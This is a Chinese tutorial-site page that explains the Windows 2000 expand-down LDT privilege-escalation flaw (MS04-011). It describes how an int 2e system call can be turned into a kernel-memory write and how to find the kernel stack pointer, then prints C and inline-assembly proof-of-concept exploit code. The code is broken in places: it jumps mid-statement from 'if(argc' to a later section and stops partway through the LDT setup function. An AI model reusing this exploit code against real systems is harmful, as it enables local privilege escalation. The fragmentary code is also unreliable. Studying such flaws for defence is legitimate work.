·最新Windows Live郵箱注冊及漏洞分析·提高警惕:WINDOWS最危險的十個漏洞·安全警報:針對Access漏洞又一發現·MacOS X存在嚴重漏洞 蘋果補救不力挨批·漏洞分析:SQL Injection技巧的演練·Windows XP的漏洞及防范篇(2)·支付寶所有版本控件均存嚴重漏洞·封殺Win XP系統共享漏洞·封殺Windows XP的共享漏洞·通過IE調用Telnet執行攻擊者代碼漏洞
1.漏洞原因 z0mbie文章裡提到在Win2k下進程可以自己添加LDT項,這可能是由於歷史原因才留在系統代碼中,因為Win2k本身並不會用到LDT.這個漏洞的核心是LDT項中Expand-Down位的設置.例子,一個LDT的Base為100,Limit為7FFFFFFF.當Expand-Down位為0時.LDT的有效范圍是: 100 ~ 7FFFFFFF. 但當Expand-Down位為1時,有效范圍是: 80000000 ~ FFFFFFFF 和 0 ~ FF,及剛好相反.在Win2k添加LDT項的檢測過程沒有考慮這一情況,導致用戶可以建立包含內核空間在內的LDT項(這其實只是一方面,GDT[23]本來就是0-FFFFFFFF,關鍵是我們可以控制LDT的基址,而內核有時假設基址為0,這樣能使其在處理內存時發生計算誤差). 2.利用原理 因為Win2k是基於頁的內存保護機制,而我們又運行在ring3態下這一事實,所以需要借助內核本身來進行越權操作.eEye的文中提到int 2e中的rep movsd指令.int 2e的使用方法: mov eax, service_id lea edx, service_param int 2e 當運行rep movsd指令時: edi為內核堆棧指針(KSP, 我機子上一般是FDxxxxxx) esi指向service_param ecx為參數的個數(in 32bit) 相當於memcpy (es.base edi, ds.base esi, ecx*4); 這裡service_param的內容,es寄存器都是可控的.唯一不確定的是edi及內核堆棧指針.獲得KSP一種方法是,先假設一個大約值,比如FD000000,再分配一較大內存空間(16MB)buf,利用這個漏洞將一特征碼寫入buf,最後找出特征碼在buf中的偏移量offset,計算出: KSP精確值 = 假設值(FD000000) offset. 至於提升權限的部分,還沒找到比較通用的方法.eEye說加LDT,但LDT的地址在KSP下方,沒理解.IDT, GDT也在KSP下方.我能想到就是改Driver Dispatch Routies,通過I/O API調用.因為不是很通用這裡就不列了.如果有什麼好的方法,請告訴我.謝謝. 3.具體步驟 見代碼.另外Win2k的代碼也有了,可以和eEye的公告對照著看. /*********************************************************** * 計算出Kernel Stack Pointer後,就能精確控制寫入的地址了. * 要注意的是只能覆寫到KSP以上的內核空間. ***********************************************************/ /****************************************************************** * Windows Expand-Down Data Segment Local Privilege Escalation * [MS04-011] * * Bug found by: Derek Soeder * Author: mslug ([email protected]), All rights reserved. * * Version: PoC 0.1 * * Tested: Win2k pro en sp4 * * Thanks: z0mbie's article :) * * Compile: cl winldt.c * * Date: 18 Apr 2004 *******************************************************************/ #include #include #include #if 1 #define KernelStackPtr 0xFD000000 //估計值 #define BedSize 0x01000000 #else #define KernelStackPtr 0xF0000000 #define BedSize 0x10000000 #endif unsigned char bed[BedSize]; unsigned char pin[]="COOL"; int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD); WORD SetupLDT(WORD seg, DWORD ldtbase); unsigned long patch_to; int main(int argc, char *argv[]) { DWORD ldtbase, KSP; int i; HMODULE hNtdll; if(argc
//printf("[!] Knl stack ptr : 0xX\n", KSP); break; } } if(!KSP) { printf("[-] Can't locate Kernel stack pointer, try again\n"); return 0; } else if (patch_to < KSP) { printf("[-] Can only patch kernel above KSP\n"); return 0; } ldtbase = patch_to - KSP; printf("[ ] Patch to : 0xX\n", patch_to); printf("[ ] 2nd LDT base : 0xX\n", ldtbase); SetupLDT(0x17, ldtbase); __asm { push es push 17h pop es mov eax, 11h lea edx, pin int 2eh pop es } return 0; } WORD SetupLDT(WORD seg, DWORD ldtbase) { LDT_ENTRY EvilLdt; DWORD base = ldtbase; DWORD limit = 0; int ret; EvilLdt.BaseLow = base & 0xFFFF; EvilLdt.HighWord.Bytes.BaseMid = base >> 16; EvilLdt.HighWord.Bytes.BaseHi = base >> 24; EvilLdt.LimitLow = (limit >> 12) & 0xFFFF; EvilLdt.HighWord.Bits.LimitHi = limit >> 28; EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, limit=(limit
,自學教程,5自學網